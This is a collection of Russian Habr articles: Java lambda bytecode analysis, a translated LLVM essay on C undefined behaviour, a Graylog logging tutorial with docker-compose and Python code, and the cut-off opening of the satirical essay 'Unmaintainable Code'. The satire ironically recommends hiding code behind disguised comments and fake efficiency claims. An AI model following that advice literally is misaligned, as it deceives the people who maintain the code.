#38 = Methodref #48.#49 // java/lang/invoke/LambdaMetafactory.metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
#39 = Methodref #3.#50 // Lambda.lambda$getRunnable$0:()V
#40 = Utf8 run
#41 = Utf8 java/lang/Runnable
#42 = Utf8 java/lang/System
#43 = Utf8 out
#44 = Utf8 Ljava/io/PrintStream;
#45 = Utf8 java/io/PrintStream
#46 = Utf8 println
#47 = Utf8 (Ljava/lang/String;)V
#48 = Class #51 // java/lang/invoke/LambdaMetafactory
#49 = NameAndType #52:#56 // metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
#50 = NameAndType #19:#12 // lambda$getRunnable$0:()V
#51 = Utf8 java/lang/invoke/LambdaMetafactory
#52 = Utf8 metafactory
#53 = Class #58 // java/lang/invoke/MethodHandles$Lookup
#54 = Utf8 Lookup
#55 = Utf8 InnerClasses
#56 = Utf8 (Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
#57 = Class #59 // java/lang/invoke/MethodHandles
#58 = Utf8 java/lang/invoke/MethodHandles$Lookup
#59 = Utf8 java/lang/invoke/MethodHandles
{
public Lambda();
descriptor: ()V
flags: ACC\_PUBLIC
Code:
stack=1, locals=1, args\_size=1
0: aload\_0
1: invokespecial #1 // Method java/lang/Object."":()V
4: return
LineNumberTable:
line 1: 0
public java.lang.Runnable getRunnable();
descriptor: ()Ljava/lang/Runnable;
flags: ACC\_PUBLIC
Code:
stack=1, locals=1, args\_size=1
0: invokedynamic #2, 0 // InvokeDynamic #0:run:()Ljava/lang/Runnable;
5: areturn
LineNumberTable:
line 3: 0
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC\_PUBLIC, ACC\_STATIC
Code:
stack=2, locals=1, args\_size=1
0: new #3 // class Lambda
3: dup
4: invokespecial #4 // Method "":()V
7: invokevirtual #5 // Method getRunnable:()Ljava/lang/Runnable;
10: invokeinterface #6, 1 // InterfaceMethod java/lang/Runnable.run:()V
15: return
LineNumberTable:
line 7: 0
line 8: 15
}
SourceFile: "Lambda.java"
InnerClasses:
public static final #54= #53 of #57; //Lookup=class java/lang/invoke/MethodHandles$Lookup of class java/lang/invoke/MethodHandles
BootstrapMethods:
0: #24 invokestatic java/lang/invoke/LambdaMetafactory.metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
Method arguments:
#25 ()V
#26 invokestatic Lambda.lambda$getRunnable$0:()V
#25 ()V
```
### Анализируем
Что-нибудь бросилось в глаза? Та-та-та-дам…
*Анонимный класс:*
```
5: invokespecial #3 // Method AnonymousClass$1."":(LAnonymousClass;)V
```
*Лямбда:*
```
0: invokedynamic #2, 0 // InvokeDynamic #0:run:()Ljava/lang/Runnable;
```
Кажется анонимный класс захватил при создании [ссылку](http://docs.oracle.com/javase/specs/jvms/se8/html/jvms-4.html#jvms-4.3.2) на порождающий его экземпляр:
```
AnonymousClass$1."":(LAnonymousClass;)V
```
и будет держать её, пока всесильный Сборщик Мусора™ не пометит его как недостижимый и не освободит от этого бремени. Хотя никак эта ссылка внутри не используется, но вот такой он анонимный жадина.
А если серьёзно, то здесь потенциальная утечка памяти, если вы отдаёте экземпляр анонимного класса во внешний мир. С лямбдами это произойдёт только в том случае, если вы явно или неявно ссылаетесь на *this* в теле анонимной функции. В противном случае, как в этом примере, **лямбда ссылки на вызывающий её экземпляр не держит**.
**Делаем своими руками.** Предлагаю всем читателям провести эксперимент и посмотреть что будет в каждом из случаев, если к строке добавить вызов *.toString()* у порождающего экземляра.
### Как в ногу-то попасть? Обещал рассказать!
Самый простой способ напороться на потенциальную утечку памяти — это использовать внутри лямбды нестатические методы внешнего класса, если вам в реальности неинтересно его внутреннее состояние:
```
public class LambdaCallsNonStatic {
public Runnable getRunnable() {
return () -> {
nonStaticMethod();
};
}
public void nonStaticMethod() {
System.out.println("I am a Runnable!");
}
public static void main(String[] args) {
new LambdaCallsNonStatic().getRunnable().run();
}
}
```
Лямбда получит ссылку на экземпляр класса её вызывающий (хотя будет создана один раз, но об этом ниже):
```
1: invokedynamic #2, 0 // InvokeDynamic #0:run:(LLambdaCallsNonStatic;)...
```
**Декомпиляция LambdaCallsNonStatic.class**
```
Compiled from "LambdaCallsNonStatic.java"
public class LambdaCallsNonStatic {
public LambdaCallsNonStatic();
Code:
0: aload_0
1: invokespecial #1 // Method java/lang/Object."":()V
4: return
public java.lang.Runnable getRunnable();
Code:
0: aload\_0
1: invokedynamic #2, 0 // InvokeDynamic #0:run:(LLambdaCallsNonStatic;)Ljava/lang/Runnable;
6: areturn
public void nonStaticMethod();
Code:
0: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #4 // String I am a Runnable!
5: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
public static void main(java.lang.String[]);
Code:
0: new #6 // class LambdaCallsNonStatic
3: dup
4: invokespecial #7 // Method "":()V
7: invokevirtual #8 // Method getRunnable:()Ljava/lang/Runnable;
10: invokeinterface #9, 1 // InterfaceMethod java/lang/Runnable.run:()V
15: return
}
```
**Решение:** объявить используемый метод статическим или вынести его в отдельный утильный класс.
### И всё?
Нет, есть ещё одна замечательная плюшка у лямбд по сравнению с анонимными классами. Если вы когда-нибудь работали в застенках кроваво-энтерпрайзной конторы и не дай боже́ писали такое:
```
Collections.sort(list, new Comparator() {
@Override
public int compare(Integer o1, Integer o2) {
return -Integer.compare(o1, o2);
}
});
```
То подходил к вам о мудрейший тимлид и говорил:
*Не экономно ты, ~~Фёдор~~ <имя разработчика>, ресурсы корпоративные расходуешь. Давай мы это зарефакторим по-взрослому.*
Ведь новый экземпляр компаратора будет создаваться каждый раз при работе этого фрагмента кода. В результате получалась такая портянка:
```
public class CorporateComparators {
public static Comparator integerReverseComparator() {
return IntegerReverseComparator.INSTANCE;
}
private enum IntegerReverseComparator implements Comparator {
INSTANCE;
@Override
public int compare(Integer o1, Integer o2) {
return -Integer.compare(o1, o2);
}
}
}
...
Collections.sort(list, CorporateComparators.integerReverseComparator());
```
Удобнее же стало, всё в своём файлике теперь лежит и переиспользовать можно. С последним соглашусь, но удобнее стало разве что если у вас DDR4 вместо серого вещества в голове. Читабельность такого кода не просто падает, а летит в тартарары со сверхзвуковой.
С лямбдами можно держать логику ближе к месту непосредственного использования и не платить за это сверху:
```
Collections.sort(list, (i1, i2) -> -Integer.compare(i1, i2));
```
Анонимная функция, не захватывающая значений из внешнего контекста, будет лёгкой и создаваться один раз. Хотя спецификация не обязывает конкретную реализацию виртуальной машины к такому поведению ([15.27.4. Run-Time Evaluation of Lambda Expressions](http://docs.oracle.com/javase/specs/jls/se8/html/jls-15.html#jls-15.27.4)), но в Java HotSpot VM наблюдается именно это.
### Версия Явы
Эксперименты проводились на:
```
java version "1.8.0_92"
Java(TM) SE Runtime Environment (build 1.8.0_92-b14)
Java HotSpot(TM) 64-Bit Server VM (build 25.92-b14, mixed mode)
javac 1.8.0_92
javap 1.8.0_92
```
### В заключение
Статья не претендует на сверхстрогость, академичность и полноту, но мне кажется (такой я самонадеянный, сейчас получу в комментариях по первое число) в достаточной мере раскрывает две киллер-фичи, заставляющих ещё больше проникнуться лямбдами. Критика в комментариях, конструктивная и не очень, категорически приветствуется. | https://habr.com/ru/post/312894/ | null | ru | null |
# Что каждый программист на C должен знать об Undefined Behavior. Часть 3/3
[Часть 1](https://habrahabr.ru/post/341048/)
[Часть 2](https://habrahabr.ru/post/341144/)
**Часть 3**
В первой части цикла мы рассмотрели неопределённое поведение в С и показали некоторые случаи, которые позволяют сделать С более быстрым, чем «безопасные» языки. В части 2 мы рассмотрели некоторые неожиданные баги, которые могут противоречить представлениям многих программистов об языке С. В этой части, мы рассмотрим проблемы, которые компилятор Clang решает, чтобы достичь высокого быстродействия, и устранить некоторые сюрпризы.
### Почему не выдаётся предупреждение, что оптимизация выполнена на основе UB?
Люди часто спрашивают, почему компилятор не генерирует предупреждений когда он производит оптимизацию на основе неопределённого поведения, ведь каждый такой случай может быть вызван багом в пользовательском коде. Сложности в таком подходе следующие: 1) будет генерироваться слишком много предупреждений, чтобы они были полезными — потому что эти оптимизации происходят всё время, и при отсутствии багов, 2) реально сложно сгенерировать такие предупреждения только когда люди их хотят, 3) несколько последовательных оптимизаций объединяются вместе. Рассмотрим каждый пункт более подробно:
### Очень трудно сделать предупреждения действительно полезными
Рассмотрим пример: несмотря на то, что баги, связанные с неверным преобразованием типов часто проявляются при TBBA (type based alias analysis), не будет полезным генерировать сообщения типа «оптимизатор предполагает, что P и P[i] не являются алиасами» при оптимизации примера «zero\_array» (из части 1 цикла).
```
float *P;
void zero_array() {
int i;
for (i = 0; i < 10000; ++i)
P[i] = 0.0f;
}
```
Кроме проблемы «ложных положительных срабатываний», есть логистическая проблема, которая состоит в том, что оптимизатор не имеет достаточно информации для генерации осмысленных предупреждений.
Во-первых, он работает на основе абстрактного представления кода (LLVM IR), который совершенно отличается от С, и во-вторых, компилятор имеет много слоёв, и в точке, где оптимизатор пытается вынести чтение из P за пределы цикла, он не знает о анализе TBAA. Это действительно трудная проблема.
Сложно сгенерировать такие предупреждения только потому, что люди этого хотят.
Clang реализует разные предупреждения для простых и очевидных случаев неопределённого поведения, таких, как выход за пределы для операции сдвига типа «x << 421». Вы можете подумать, что это простая и очевидная вещь, но она оказывается сложной, потому что люди не хотят получать предупреждения об UB в «мёртвом коде».
Мёртвый код имеет несколько форм, это могут быть, например, макросы, которые развернулись таким странным образом, когда им передали константу. Может возникнуть ситуация, когда в конструкции switch какие-то варианты (доказуемо) не выполняются, и пользователь будет недоволен, если мы будем выдавать предупреждения о коде, находящемся в этих местах. К тому же выражения switch в С-программах не обязательно хорошо структурированы.
Решение в том, что Clang собирает предупреждения о «рантаймовом поведении», а затем удаляет те из них, которые относятся к блокам, которые не будут исполняться. Сложность здесь заключается в том, что есть идиомы, которых мы не ожидаем, и делать такие вещи в фронтенде означает, что мы не отловим каждый случай, который пользователи хотят, чтобы мы отлавливали.
### Последовательности оптимизаций открывают возможности для новых оптимизаций
Если во фронтенде так сложно генерировать предупреждения, возможно, мы можем генерировать их из оптимизатора! Самая большая проблема с тем, чтобы генерировать полезные сообщения заключается в отслеживании данных. Оптимизатор компилятора включает в себя дюжины проходов оптимизации, каждый из которых изменяет код, делая его (как мы надеемся) быстрее. Если инлайнер решил инлайнить функцию, это может открыть новые возможности для того, чтобы удалить, например, выражения типа «X\*2/2».
Хотя мы касаемся простых и ограниченных примеров для демонстрации таких оптимизаций, большая часть реальных случаев происходит в коде, который образовался при разворачивании макросов, инлайна функций и других действий по удалению высокоуровневых абстракций, которые предпринимает компилятор. Реальность такова, что люди обычно не пишут совсем глупых вещей напрямую. Для предупреждений это означает, что для того, чтобы сослаться на пользовательский код, нужно в точности реконструировать, как компилятор получил промежуточный код. Нам понадобилась бы возможность сказать что-то такое:
*предупреждение: после трёх уровней инлайна функций (возможно, находящихся в разных файлах при Link Time Optimization), удалении общих подвыражений, после выноса их из цикла и доказательства того, что эти 13 указателей не являются алиасами, мы обнаружили место, где вы делаете нечто неопределённое. Это может быть из-за бага в вашем коде, или из-за макроса, ли из-за инлайна, и неверный код фактически недоступен, но мы не можем доказать, что он мётрв.*
К сожалению, у нас нет инфраструктуры для отслеживания этого, и даже если бы была, у компилятора нет интерфейса пользователя, достаточно хорошего, чтобы сообщить всё это программисту.
В целом, UB ценно для оптимизатора тем, что оно говорит: «операция неверна — можно предположить, что она никогда не произойдёт». В случае с "\*P" это даёт оптимизатору повод полагать, что P не раен NULL. В случае "\*NULL" (например, после подстановки констант и инлайна), это позволяет оптимизатору считать, что такой код недостижим. Важное допущение состоит в том, что, так как нельзя решить проблему останова, компилятор не может знать, что код на самом деле мёртв (как должно быть по стандарту С) или это баг, появившийся в результате (возможно, длинной) серии оптимизаций. Так как нет в общем виде хорошего способа различить эти две вещи, почти все эти предупреждения будут ложно-положительным шумом.
### Подход Clang-а к UB
Принимая во внимание столь печальное положение дел с UB, вы можете спросить, что Clang и LLVM делают для исправления ситуации. Я уже упоминал пару вещей: Clang Static Analyzer, Klee и флаг -fcatch-undefined-behavior являются полезными инструментами для отслеживания некоторых классов таких багов. Проблема в том, что они не так широко используются, как компилятор, и всё, что мы можем сделать прямо в компиляторе, будет гораздо большим благом, чем то, что делается отдельными инструментами. Помните, что компилятор ограничен и не имеет динамической информации, и также ограничен тем, что не может тратить слишком много времени при компиляции.
Первый шаг Clang-а для улучшения кода — это включение большего количества предупреждений по умолчанию по сравнению с другими компиляторами. Хотя некоторые разработчики дисциплинированы и компилируют с "-Wall -Wextra" (например), многие не знают про эти флаги или не затрудняют себя включить их. Включив больше предупреждений по умолчанию, мы отловим большее количество багов.
Второй шаг состоит в том, что Clang генерирует предупреждения для многих классов неопределённого поведения (включая разыменование нуля, сдвиги на слишком большую величину, и т.п.), что позволяет отлавливать распространённые ошибки в коде. Выше приведены разные
Третий шаг состоит в том, что оптимизатор LLVM имеет гораздо меньше свободы в отношении UB, чем мог бы. Хотя стандарт говорит, что любой экземпляр неопределённого поведения может иметь неограниченный эффект, не было бы дружественным поведением в отношении к разработчику извлекать из этого выгоду. Вместо этого, оптимизатор LLVM обрабатывает их несколькими различными способами (ссылки даны на правила LLVM IR, не С, к сожалению):
1. Некоторые случаи неопределённого поведения просто преобразуются в операции, вызывающие исключение. Например, Clang для этой функции С++:
```
int *foo(long x) {
return new int[x];
}
```
компилирует следующий X86-64 код:
```
__Z3fool:
movl $4, %ecx
movq %rdi, %rax
mulq %rcx
movq $-1, %rdi # Set the size to -1 on overflow
cmovnoq %rax, %rdi # Which causes 'new' to throw std::bad_alloc
jmp __Znam
```
вместо кода, который генерирует GCC:
```
__Z3fool:
salq $2, %rdi
jmp __Znam # Security bug on overflow!
```
Разница в том, что мы решаем потратить несколько циклов на предотвращение потенциально серьёзного бага переполнения целого числа, что может привести к переполнению буфера и уязвимости (оператор new сам по себе дорогостоящий, поэтому лишние команды практически незаметны). Разработчики GCC знают об этой уязвимости по меньшей мере с 2005 года, но не починили её к моменту написания этой статьи. (*уязвимость устранена в GCC 4.8.1 и выше. прим. перев.*)
Арифметические операциями над неопределёнными значениями могут порождать неопределённые значения вместо неопределённого поведения. Разница в том, что неопределённое значение не может отформатировать ваш жесткий диск, или привести к другим нежелательным эффектам. Положительный эффект происходит в тех случаях, когда арифметическое выражение приводит к одному и тому же результату при любом возможном варианте неопределённого значения. Например, оптимизатор полагает, что результат «undef & 1» имеет нули в старших битах, оставляя только младший бит неопределённым. Это означает, что ((undef & 1) >> 1) будет равно 0 в LLVM, и не будет неопределённым значением.
Арифметические выражения, которые динамически выполняют неопределённые операции (такие, как переполнение знакового целого) генерируют «логическую ловушку» (logical trap value), «отравляющую» любые вычисления, в которых она используется, но не разрушающую всю остальную программу. Это означает, что нисходящие логические операции от неопределённой операции могут быть затронуты, но не вся остальная программа. Это является причиной, по которой оптимизатор не удаляет код, который производит операции с неинициализированными переменными. Запись в null и вызов функции по указателю null превращаются в вызов \_\_builtin\_trap() (который, в свою очередь, превращается в вызов инструкции «ud2» на x86). Это происходит всё время в оптимизированном коде (как результат других преобразований, таких, как инлайн функций и распространение констант). и мы удаляем блоки, содержащие такие команды, потому что они, очевидно, недостижимы.
Если (с точки зрения педантичного исполнения стандартов) они действительно недостижимы, в реальности мы понимаем, что люди иногда разыменовывают null-указатели, что заставляет выполнение кода падать в последующих функциях и делает очень сложным понимание проблемы. С точки зрения быстродействия, самый важный аспект здесь, это сжатие последующего кода. Поэтому clang превращает неопределённые операции в рантаймовый останов (runtime trap): если одна из них будет динамически достигнута, программа немедленно остановится и может быть отлажена. Недостатком здесь является небольшое раздувание кода за счёт этих операций и условий, управляющих их предикатами.
Оптимизатор предпринимает некоторые усилия, чтобы «сделать это правильно» в тех случаях, когда очевидно, что имел в виду программист (например, в коде "\*(int\*)P", где P указывает на float). Это помогает во многих случаях, но на самом деле вы не должны на это полагаться, и есть множество примеров, о которых вы можете думать, что они «очевидные», но они не являются такими после длинной серии преобразований, применённых к вашему коду.
Оптимизации, которые не попадают ни под одну из этих категорий, такие, как в примерах zero\_array и set/call из части 1, оптимизируются так, как описано, «тихо», без сообщений пользователю. Мы делаем так, потому что нет ничего полезного, что можно сообщить, и очень необычно для (забагованного) кода реального приложения, если эти оптимизации его сломают.
Одна из главных областей улучшений, которые мы можеи делать, происходит за счёт таких «ловушек». Я думаю, было бы интересно добавить (выключенный по умолчанию) флаг предупреждения, который заставит оптимизатор делать предупреждения, когда он вставляет ловушки. Это даст очень много «шума» для некоторых исходников, но будет полезно для других. Первый ограничивающий фактор здесь состоит в том, что работа инфраструктуры заставит оптимизатор выдавать предупреждения: они не будут иметь полезных локаций в исходном коде, если отладочная информация отключена (но это можно исправить).
Другой, более значимый ограничивающий фактор состоит в том, что эти предупреждения не будут иметь никакой информации для отслеживания, которая помогла бы объяснить, что данная операция появилась в результате разворачивания цикла три раза и инлайна четырёх уровней вызова функции. Лучшее, что мы сможем сделать, это указать файл/строку/столбец, что будет полезно в большинстве тривиальных случаев, но будет очень сильно запутывать в других случаях. В любом случае, реализация этого для нас не является приоритетной потому что: а) это вряд ли даст хороший опыт б) мы не будем делать эту функцию включенной по умолчанию и в) для её реализации потребуется много работы.
### Использование безопасного диалекта C (и других опций)
Последняя опция, которая у вас есть, если вам не нужно максимальное быстродействие, это использование различных флагов компилятора для того, чтобы использовать диалект C, который устраняет неопределённое поведение. Например, использование флага -fwrapv устраняет неопределённое поведение, возникающее из-за переполнения знаковых чисел (однако, отметим, что это не устраняет возможные уязвимости и дыры в безопасности, связанные с переполнением знаковых чисел). Флаг -fno-strict-aliasing отключает Type Based Alias Analysis, и вы можете игнорировать эти правила для типов. Если потребуется, мы можем добавить флаг к Clang, который по умолчанию будет обнулять все локальные переменные, флаг, вставляющий операцию «and» перед каждым сдвигом с переменной величиной сдвига и т.п. К сожалению, не существует способа полностью избавиться от неопределённого поведения в С, не сломав ABI и полностью убив быстродействие. Другая проблема состоит в том, что вы больше не будете писать на С, вы будете писать на похожем, но не совместимом с С диалекте.
Если написание кода на непереносимом диалекте С — не ваше, то флаги -ftrapv и -fcatch-undefined-behavior (наряду с другими вещами, которые упоминались ранее) может быть полезным оружием в вашем арсенале для отслеживания такого рода багов. Включение их в дебажной сборке может быть хорошим способом для раннего обнаружения багов. Эти флаги также могут быть полезны в продакшене, если вы собираете приложение, критическое в плане безопасности. Хотя нет гарантий, что вы найдёте все баги, они находят полезное подмножество багов.
В основном, реальная проблема в том, что С не является безопасным языком и (несмотря на его успешность и популярность) многие люди не понимают, как язык на самом деле работает. Десятилетия развития предшествовали его стандартизации в 1989 году, и С превратился из «низкоуровневого системного языка программирования, представляющего собой тонкий слой над ассемблером PDP» в «низкоуровневый системный язык программирования, пытающийся достичь высокого быстродействия, ломая ожидания людей». С одной стороны, все «трюки» С почти всегда работают, и код в целом более производительный из-за этого (и в некоторых случаях, *гораздо* более). С другой стороны, места читерских трюков часто очень удивляют людей и обычно проявляются в самый неподходящий момент.
С — это гораздо больше, чем переносимый ассемблер, иногда он способен очень сильно удивлять. Я надеюсь, что это обсуждение пояснило некоторые вопросы, касающиеся неопределённого поведения с С, по меньшей мере с точки зрения компилятора. | https://habr.com/ru/post/341154/ | null | ru | null |
# Централизация логирования микросервисов с Graylog
**О чем статья:** трассировка и анализ ошибок в микросервисной архитектуре без средств централизации логирования обычно причиняет неудобства, поскольку для понимания "что и на каком микросервисе умерло" приходится обходить микросервисы по очереди, сверять и сопоставлять данные в логах. В данной статье рассматривается централизация логирования с помощью Graylog, с примерами кода на Python.
**Для кого:** статья будет полезна в качестве пошаговой инструкции для разработчиков, столкнувшихся с трудностями сбора логов от нескольких микросервисов.
Введение
--------
Конечно, проблема, обозначенная выше, может возникать независимо от архитектуры, и используемых паттернов. Одним из ключевых пожеланий к средству сбора и просмотра логов является возможность отследить последовательность обработки запроса на разных микросервисах (или частях монолита).
Для иллюстрирования задачи, представим небольшой инстанс из оркестратора и двух микросервисов.
Запрос, приходящий на оркестратор, передается на первый микросервис, который может либо вернуть ошибку, либо результат выполнения. Затем (если обработка прошла успешно) запрос передается на второй микросервис. Он, также как и первый, может обработать запрос успешно, либо упасть в ошибку. В любом случае, запросившему возвращается какой-то результат.
Итак, проблема понятна, теперь расскажу об инструменте, который поможет ее решить.
Немного о Graylog
-----------------
Graylog — это платформа управления логами, с открытым исходным кодом. Graylog, помимо прочего, использует Elasticsearch для хранения самих логов, и MongoDB для хранения метаданных и конфигурации.
Graylog интересен по двум причинам:
1. Поддержка различных способов отправки
Graylog поддерживает специальный формат логов - GELF (Graylog extended log format), отлично подходящий для логирования из приложений (с произвольными данными). Логи в GELF-формате могут быть отправлены по TCP, UDP, HTTP и даже AMQP.
2. Интеграционные возможности
Пакеты для отправки данных в Graylog, существуют, как минимум для Python, PHP, Golang, JavaScript, C#.
По сути, Graylog применим в различных вариациях, особенно интересует расширяемый формат записей, поскольку для связи логов из различных источников нужен некоторый ключ, уникальный для каждого запроса на протяжении всего времени обработки. Теперь займемся установкой и первоначальной настройкой.
Установка и настройка Graylog
-----------------------------
Проще и быстрее всего запустить Graylog через docker-compose, благо на github есть [соответствующий репозиторий](https://github.com/Graylog2/docker-compose). В репозитории есть три варианта: cluster, enterprise и open-core. Для развертывания выберем последний.
Боромир во Властелине колец говорил: "Нельзя просто так взять и войти в Мордор". Но он не попробовал запустить Graylog из клонированного репозитория, а так добавил бы новую фразу в копилку. В процессе запуска я столкнулся с некоторыми трудностями:
1. Образ elasticserach качаться с docker.elastic.co не пожелал, ввиду 403-й ошибки
2. MongoDB версии 5.0.0 для запуска потребовался процессор с поддержкой AVX
Лечение этих болезней (с которыми вы, как мне видится, обязательно столкнетесь) достаточно простое:
1. Для elasticsearch находим образ, максимально похожий на тот, что указан в оригинальном docker-compose. Мне повезло, и для версии 7.10.2 на hub.docker.com я нашел нужный образ.
2. MongoDB можно просто понизить версию до 4.4.6
Итоговый docker-compose.yml выглядит следующим образом:
```
version: "3.8"
services:
mongodb:
image: "mongo:4.4.6"
volumes:
- "mongodb_data:/data/db"
restart: "on-failure"
elasticsearch:
environment:
ES_JAVA_OPTS: "-Xms1g -Xmx1g -Dlog4j2.formatMsgNoLookups=true"
bootstrap.memory_lock: "true"
discovery.type: "single-node"
http.host: "0.0.0.0"
action.auto_create_index: "false"
image: "domonapapp/elasticsearch-oss"
ulimits:
memlock:
hard: -1
soft: -1
volumes:
- "es_data:/usr/share/elasticsearch/data"
restart: "on-failure"
graylog:
image: "${GRAYLOG_IMAGE:-graylog/graylog:4.3}"
depends_on:
elasticsearch:
condition: "service_started"
mongodb:
condition: "service_started"
entrypoint: "/usr/bin/tini -- wait-for-it elasticsearch:9200 -- /docker-entrypoint.sh"
environment:
GRAYLOG_NODE_ID_FILE: "/usr/share/graylog/data/config/node-id"
GRAYLOG_PASSWORD_SECRET: ${GRAYLOG_PASSWORD_SECRET:?Please configure GRAYLOG_PASSWORD_SECRET in the .env file}
GRAYLOG_ROOT_PASSWORD_SHA2: ${GRAYLOG_ROOT_PASSWORD_SHA2:?Please configure GRAYLOG_ROOT_PASSWORD_SHA2 in the .env file}
GRAYLOG_HTTP_BIND_ADDRESS: "0.0.0.0:9000"
GRAYLOG_HTTP_EXTERNAL_URI: "http://localhost:9000/"
GRAYLOG_ELASTICSEARCH_HOSTS: "http://elasticsearch:9200"
GRAYLOG_MONGODB_URI: "mongodb://mongodb:27017/graylog"
ports:
- "5044:5044/tcp" # Beats
- "5140:5140/udp" # Syslog
- "5140:5140/tcp" # Syslog
- "5555:5555/tcp" # RAW TCP
- "5555:5555/udp" # RAW TCP
- "9000:9000/tcp" # Server API
- "12201:12201/tcp" # GELF TCP
- "12201:12201/udp" # GELF UDP
#- "10000:10000/tcp" # Custom TCP port
#- "10000:10000/udp" # Custom UDP port
- "13301:13301/tcp" # Forwarder data
- "13302:13302/tcp" # Forwarder config
volumes:
- "graylog_data:/usr/share/graylog/data/data"
- "graylog_journal:/usr/share/graylog/data/journal"
restart: "on-failure"
volumes:
mongodb_data:
es_data:
graylog_data:
graylog_journal:
```
Перед запуском необходимо создать .env-файл (образец с подробными пояснениями лежит в той же папке), и заполнить два параметра — секрет, и хеш пароля администратора.
После запуска стека с измененным docker-compose.yml можно проверить работоспособность, зайдя на <http://localhost:9000/>.
Пользователь по-умолчанию: admin
Пароль: тот, что хешировали для .env-файла
Теперь нужно создать Input. Для этого, в заголовке интерфейса переходим в меню System / Inputs — Inputs, выбираем GELF TCP (в этом примере будем использовать именно его), нажимаем “Launch new input”. В окне настроек достаточно указать название (Title), остальные параметры можно не менять. О настройках Graylog можно написать отдельную статью (и, наверное, даже не одну), но сейчас сосредоточимся на реализации отправки логов из сервисов на Python.
Отправка данных в Graylog
-------------------------
Для Python существует несколько пакетов, имплементирующих упаковку записи в GELF, и передачу по выбранному каналу. Однако, среди нескольких, опробованных мной, самым адекватным оказался pygelf. Его-то и будем использовать.
Для начала попробуем отправить простое сообщение:
```
from pygelf import GelfTcpHandler
import logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("api")
# Все, что нужно для отправки логов - добавить обработчик в логгер
logger.addHandler(GelfTcpHandler(host='127.0.0.1', port=12201, include_extra_fields=True))
logger.info('hello gelf')
```
После запуска этого кода в интерфейсе Graylog (вкладка Search в верхнем меню) можно увидеть сообщение.
Представление строки лога в GraylogЭто уже неплохо, однако, данных в сообщении недостаточно. Добавим сюда параметр **request\_id** — это будет “ключ”, связывающий между собой операции по одному запросу на разных микросервисах. Чтобы добавить новое поле в сообщение, воспользуемся фильтром.
```
import uuid
from pygelf import GelfTcpHandler
import logging
# Создадим класс с методом filter, который будет подставлять reuqest_id в каждую запись
class ContextFilter(logging.Filter):
def filter(self, record):
record.request_id = str(uuid.uuid4())
return True
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("api")
logger.addHandler(GelfTcpHandler(host='127.0.0.1', port=12201, include_extra_fields=True))
logger.addFilter(ContextFilter())
logger.info('hello gelf')
```
После отправки мы видим, что graylog распознал поле, и вывел его значение.
Поле request\_id успешно добавилось в логДля полноты картины можно посмотреть еще и на обработку исключений.
Результат работы logger.exception()Стектрейс пишется в лог, что не может не радовать.
Сам `request_id` можно хранить в контекстной переменной (контекстные переменные хорошо ложатся на асинхронный код, и в частности для FastAPI), генерируя его на оркестраторе при поступлении запроса от пользователя, на микросервисы же его придется передавать в теле сообщения (если коммуникация осуществляется через RabbitMQ), либо иным способом, но, так или иначе, передавать необходимо, в силу того, что мы сохраняем для каждой записи уникальную метку, связывающую распределенные операции в единый контекст.
Кроме `request_id` можно добавить в запись имя сервиса, сгенерировавшего запись, так будет удобнее в потоке сообщений понимать кто и что делал.
Теперь, понимая как отправить логи в graylog, для реализации в конкретном случае надо сделать три вещи:
1. Сгенерировать\получить `request_id`, записать в контекстную переменную
2. Дополнить класс фильтра заполнением требуемых параметров
3. Добавить логирование во все нужные точки сервисов
Не буду расписывать весь путь от и до, тем более что исходный код примеров выложен на github:
1. [Орекстратор](https://github.com/dmitry8912/GraylogExample_Orchestrator)
2. [Микросервис](https://github.com/dmitry8912/GraylogExample_Sidecar)
Лучше посмотрим на финальный результат.
Последовательность обработки отдельного запросаТеперь, зная только `request_id`, возможно получить по нему все записи, восстановив последовательность обработки запроса.
В заключение рекомендую посетить [открытый урок](https://otus.pw/9mZe/) «RESTful API паттерны», на котором планируется поговорить о REST, рассмотреть уровни зрелости REST, затронуть HATEOAS, рассмотреть паттерны REST и сгенерить клиент к сервису по openapi idl. | https://habr.com/ru/post/703882/ | null | ru | null |
# Код, который невозможно поддерживать (часть 2)
*Продолжение [этого топика](http://habrahabr.ru/blogs/arbeit/99016/) — вторая и третья главы эссе «Unmaintainable Code». Несколько перекликается с первой, но описанные методы уже не так очевидны (а некоторые отличаются поистине дьявольской изобретательностью и не меньшей злокозненностью). Ах да, с заявленного в прологе языка Java автор незаметно переключился на C/C++.*
#### Камуфляж
Искусство камуфляжа — сокрытия вещей или маскировки их под другие — составляет значительную долю искусства написания неподдерживаемого кода. Большинство приемов этого раздела основаны на том, что компилятор воспринимает и обрабатывает код иначе, чем текстовый редактор или человек. Ниже приведены избранные приемы камуфляжа:
###### 1. Пишите «эффективный» код
*Во имя эффективности совершается больше грехов, чем из-за любой другой причины, включая глупость.*
Самый безопасный способ скрыть свои действия по обфускации кода — сделать вид, что ваша главная цель — повышение эффективности программы. Во имя высокой цели вам простят все ваши фокусы, когда они выплывут наружу.
###### 2. Комментарии, притворяющиеся кодом
Комментируйте фрагменты кода так, чтобы на первый взгляд они казались актуальными.
````
for ( j=0; j
````
Без подсветки кода вы бы заметили, что средняя строка закомментирована?
*(Не представляю, на какую среду разработки рассчитан этот метод — даже в Far есть плагин подсветки кода. Видимо, предполагается сочетать его с неправильными расширениями файла, для которых /\* \*/ не распознается как комментарий — прим.пер.)*
###### 3. Пространства имен
